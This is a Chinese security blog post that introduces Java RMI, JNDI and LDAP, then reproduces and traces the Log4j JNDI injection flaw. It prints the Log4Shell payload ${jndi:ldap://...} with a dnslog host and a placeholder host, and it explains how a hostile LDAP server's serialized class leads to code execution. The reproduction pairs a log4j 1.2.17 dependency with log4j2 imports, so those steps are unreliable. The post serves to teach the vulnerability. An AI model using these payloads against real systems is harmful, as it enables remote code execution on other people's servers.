freeBuf
Z3专栏 | RMI、JNDI、LDAP介绍+log4j漏洞分析
2021-12-28 12:10:01
所属地 辽宁省

介绍

本篇主要介绍java的RMI、JNDI、LDAP,在后面会详细分析log4j的jndi注入原理。

什么是RMI

RMI全称是Remote Method Invocatioon,也就是远程方法调用,看起来和RPC(Remote Procedure Call)很像
实际上它俩的确很像,RMI算是JAVA定制版RPC吧

一个完整的RMI调用过程,需要下面几个部分

  1. 注册服务

  2. RMIServer

  3. 客户端

  4. 接口

  5. 实现接口的类

执行流程如下

  1. 首先开启注册服务

  2. RMI创建实现接口的类的对象,并在注册服务中注册

  3. 客户端从注册服务调用接口里的方法

先来个例子,说不多说,都在代码里(网上找的)
注册服务代码

接口和实现接口的类

RMI服务

客户端

运行流程如下图
引用个别人的时序图

此图和上面的代码对应关系

Client -> Client
存根(stub) -> Client代码中的remoteHello对象(是个代理类,在通过它调用方法时,会将参数,函数名等信息打包,发送给骨架,存根对象包含了RMIServer的端口和ip)
rmiregistry -> RegServeer
Server -> RMI
骨架(Skeleton) -> 也是个代理类,监听4000端口,用于和存根通信,收到存根的请求后,去调用RemoteImp对应的方法,然后将结果返回给存根
ServiceImpl -> RemoteImpl

所以,再以上面的代码为例,解读下执行流程

  1. 先启动Register服务(默认端口1099)

  2. RMI去连接Register服务,并将Name和存根发送给Register服务
    如图

  3. Client连接Register服务,根据Name获取到对应存根,再通过存根调用sayHello("World"),因为存根是代理类,所以可以获取到函数名,参数,参数类型等信息,存根将这些信息打包,发给骨架

  4. RMI的骨架也是代理类,通过反射调用remoteHello.sayHello("World"),获取返回值Hello, World,并发送给存根

  5. Client的存根将从骨架获取到的返回值Return,这样Client端看起来就好像调用的是本地的方法

补充下,以上步骤,通过网络传输的数据都是通过序列化对象的形式,使用的协议是JRMP(Java Remote Method Protocol)协议 很重要!!!

上面的代码还可以写成简化版
如图服务端,在启动注册中心的同时,设置了存根和名字

客户端,通过url连接注册中心,获取存根

什么是JNDI

JNDI全称是Java Naming and Directory Interfac,翻译过来就是 java命名和目录接口.实际上,这里的Naming指命名服务,Directory指目录服务。

命名服务

就是通过对资源的命名,便于下次调用资源更方便(所以这里的Naming要唯一)。例如上面的例子中的注册服务,就属于命名服务将Hello绑定RemoteImpl对象,在使用时,直接通过名字Hello就可以获取到RemoteImpl的存根。
命名服务就像下面这个清单,为每一个名字绑定了一个资源。

目录服务

和命名服务很像,但更复杂,可以理解为一个清单,清单上有各种资源,每个资源又有自己的清单。举个例子,例如清单上有10台电脑,我选中一台小李的电脑,会获取到下一张清单,列出了小李电脑上的资源如:网络邻居、打印机、C盘等等,我打开网络邻居,又获得一张清单。

根据上面的例子可以发现,这个目录服务,和计算机上的目录很像,打开一个文件夹,可以看见下一层目录,再打开一个文件夹,又可以看见下一层目录。
我们熟知的dns就是目录服务,那它为什么属于目录服务,而不属于命名服务呢?

DNS服务

虽然在我们看来,通过域名,返回ip,特别像命名服务,但理解下dns解析过程就知道原因了。
如图,在查询dns时,本地dns服务器去请求dns根服务器然后再请求.com服务器,在请求163.com服务器,最后获得地址。

根服务器目录包含所有顶级域名的地址,如com、cn等
com服务器的目录中包含baidu、aliyun、tencent等
baidu.com服务器目录包含vip、mail、oa等
例如访问oa.baidu.com,则先去访问根服务器->com服务器->baidu服务器->获取到oa服务器地址

如图

像目录一样,层层解析,直到解析到想要域名的ip
如果使用命名服务要怎么实现DNS解析?
如图

每个域名对应一个ip,都存到一张表里,如果有很多个百度这样的公司,而百度有几千个子域名,每个子域名又有几百个子域名,这样域名数就会指数型增加,那这张表就会超级超级大。这就导致每查询一次都要很久很久,而且全球域名都靠这台服务器完成,这台服务器独揽大权,全球服务器的域名解析都它说了算。

这些dns服务器组成一个分布式目录服务,用来查询域名的ip,效率特别高。

树形结构

从上面这些描述和介绍应该对目录服务有了大概的了解,这种目录结构,叫做树形结构,如图。

目录服务总结

目录服务使用树形结构,这种结构优点是查询效率特别高,所以目录服务的优点之一就是查询效率特别高,缺点就是写数据慢,它可以是一种属性结构的数据库,也可以是上面那种分布式的目录服务

什么是JNDI

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一
J2EE规定了J2EE容器都要实现JNDI接口。在实际使用时,在J2EE容器中配置JNDI参数,这个容器就是数据源,在使用时,直接通过数据源名称就可以调用
一个mysql的配置文件示例如图,数据源名称就是MySqlDS

<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
    <jndi-name>MySqlDS</jndi-name>
    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
    <driver-class>com.mysql.jdbc.Driver</driver-class>
    <user-name>root</user-name>
    <password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
    <metadata>
       <type-mapping>mySQL</type-mapping>
    </metadata>
</local-tx-datasource>
</datasources>

在使用时

Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();

通过JNDI统一的接口,只需要配置好数据源,在使用时,只需要调用lookup方法,查询数据源名称就可以获得数据源,使用数据库,不需要考虑不同数据库的驱动、连接、调用等方式,如果想换一个数据库,只需要修改下数据源配置文件就可以了。

什么是LDAP

LDAP(Light Directory Access Portocol),它是基于X.500标准的跨平台的轻量级目录访问协议。

LDAP是一种协议,轻量级目录访问的协议,说明它是实现,也是通过树形结构。
LDAP的中心概念是信息模型,它处理存储在目录中的信息种类和信息的结构。 信息模型围绕一个条目(即树的一个Node)进行,该条目是具有类型和值的属性的集合。 条目以树状结构组织,称为目录信息树。 这些条目是围绕现实世界的概念,组织,人员和对象组成的。 属性类型与定义允许信息的语法相关联。 单个属性可以在其中包含多个值。 LDAP中的专有名称从下至上读取。 左侧部分称为相对专有名称,右侧部分为基本专有名称。

LDAP协议主要用于单点登录SSO(Single Sign on),一个典型案例是:
学校的单点登录系统,只需要在这里登录,则教务、WebVPN、校园网等系统都可以直接访问,不需要但需登录(我们学习在使用单点登录之前,每个系统都要单独登录)

LDAP可以用于SSO,但不等与SSO,这种协议还可以用于统一各种系统的认证方式、储存企业组织架构,员工信息(由于它使用树形结构,查询效率高)等等。如图

Log4j漏洞分析

网上流传的log4j exp ${jndi:ldap://dnslog.cn/exp} 其中包含了jndi和ldap
下面复现下漏洞并分析下原理

环境

创建Maven项目,添加依赖

<dependencies>
    <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>1.2.17</version>
    </dependency>
</dependencies>

在resources目录添加配置文件
文件名:log4j.properties

### 设置###
log4j.rootLogger = debug,stdout,D,E

### 输出信息到控制抬 ###
log4j.appender.stdout = org.apache.log4j.ConsoleAppender
log4j.appender.stdout.Target = System.out
log4j.appender.stdout.layout = org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n

### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###
log4j.appender.D = org.apache.log4j.DailyRollingFileAppender
log4j.appender.D.File = /home/duqi/logs/debug.log
log4j.appender.D.Append = true
log4j.appender.D.Threshold = DEBUG 
log4j.appender.D.layout = org.apache.log4j.PatternLayout
log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n

### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###
log4j.appender.E = org.apache.log4j.DailyRollingFileAppender
log4j.appender.E.File =/home/admin/logs/error.log 
log4j.appender.E.Append = true
log4j.appender.E.Threshold = ERROR 
log4j.appender.E.layout = org.apache.log4j.PatternLayout
log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n

创建Main类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class aa {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        System.out.println(1);
        logger.error("${jndi:ldap://xxx.xxx/exp}");
        System.out.println(2);
    }
}

运行成功收到dns请求

调试分析

首先跟进error

首先检测日志级别,判断是否记录

继续跟logMessage


后面调用的太多了,不一一截图了
调用栈如图

最终在这里调用lookup

调用了JNDI的lookup方法

如图,这里的context正是javax.naming.Context类型

通过刚开始对rmi、ldap、jndi的学习,应该知道这里是通过ldap请求资源,,由于这个过程中传输的对象都是序列化数据,客户端得到资源后会进行反序列化
所以只要搭建服务端,收到客户端请求就返回序列化的恶意class,就会导致客户端反序列化时执行恶意代码

总结

根据调用栈分析如下

由于输出的日志格式为

21:51:13.846 [main] ERROR Main - Hello

这个格式化过程在toSerializable函数中完成
通过11个formatters,分别获取时间21:51:13.846、函数名main、日志级别ERROR等信息,并拼接到一起

问题就出在这11个formatters之一的PatternFormatter上,它是负责解析message的(就是上面示例日志中的Hello)

如图,它在format方法中,打算先获取${xxx}的值,然后将${xxx}替换为获取到的值(具体如何解析,如何替换,就不分析了)

如图,这里的xxx除了jndi,还可以是date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j,有待挖掘

在对jndi进行lookup之前,从strLookupMap中获取到了jndi的lookup对象

如图,每一个key都对应一个lookup对象

这些lookup对象的作用,在官网已经说明了。例如:${lower:Hello}会被解析为hello,${upper:Hello}会被解析为HELLO,只不过一直没人翻文档,直到今天,这个jndi注入才被发现。

所以为题根源就在PatternFormatter,那所有使用PatternFormatter的库都有可能导致jndi注入,网上查了下PatternFormatter,有个POCO库用到了,c++的。

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录